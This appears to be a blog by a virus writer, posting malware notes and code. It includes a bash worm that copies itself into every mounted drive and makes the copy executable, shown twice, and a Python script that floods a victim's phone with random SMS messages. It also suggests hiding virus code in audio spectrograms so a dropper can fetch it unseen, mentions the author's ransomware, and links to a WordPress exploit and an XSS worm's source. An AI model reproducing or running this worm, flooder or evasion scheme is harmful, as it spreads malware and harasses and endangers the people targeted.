WarGame’s Blog

I have just discovered a nice tool called arss that allows you to play with spectrogram of sound signals.
It would be very cool to use this for vx stuff.
You could for example hide the virus code in the spectrum of an audio file so the virus can be stored in an http server and then downloaded (and extracted) using a dropper to the host system …
There is no suspect traffic in this way

I have improved a bit the bash worm, now it uses gvfs features too.


#!/bin/bash

for dr in $(mount | awk '{print $3}' ) # try to copy itself in mounted drives
do
if [ -d "$dr" ];
then
cp $HOME/.badcow.sh $dr/badcow.sh > /dev/null 2>&1
chmod +x $dr/badcow.sh > /dev/null 2>&1
fi
done


I have just entered in the world of bash scripting and this is my first experiment in this language:

#!/bin/bash

for dr in $(mount | awk '{print $3}' )
do
if [ -d $dr ];
then
cp $HOME/.badcow.sh $dr/badcow.sh > /dev/null 2>&1
chmod +x $dr/badcow.sh > /dev/null 2>&1
fi
done


It is a simple example of worm spreading via removable media under linux (even if it works on FreeBSD too) … it’s not very powerful because there is no autorun feature under unix so it needs to be executed by the user

A very nasty exploit for wordpress is out so if you are running a vulnerable version of it run to fix the bug!
Here the exploit.
This is the fix.

I have just found this post on trendmicro blog, it is about my RansomWar. The funny thing is that I published it a lot of time ago …

Origami is a tool that let you insert javascript code inside pdf documents and do other nice things.
PDF format can be abused a lot! (as recent attacks say)

Phrack#66 is out and it contains a very nice article about injecting your own code in the BIOS eeprom.
You can read it here.

It seems that a XSS worm is spreading among twitter users … here more details.
You can find the src code of the worm here.

How to spend your time during a long travel:

# flood a victim telephone with random generated sms (for pys60)
import messaging
import appuifw
import random

def rnd():
return random.randint(97,97+26)

num=appuifw.query(u"telephone number?","text")
cnt=appuifw.query(u"how many?","number")

while abs(cnt)>0:
testo=chr(rnd())+chr(rnd())+chr(rnd())+chr(rnd())+chr(rnd())
messaging.sms_send(num,testo)
cnt=cnt-1
print "sent: "+testo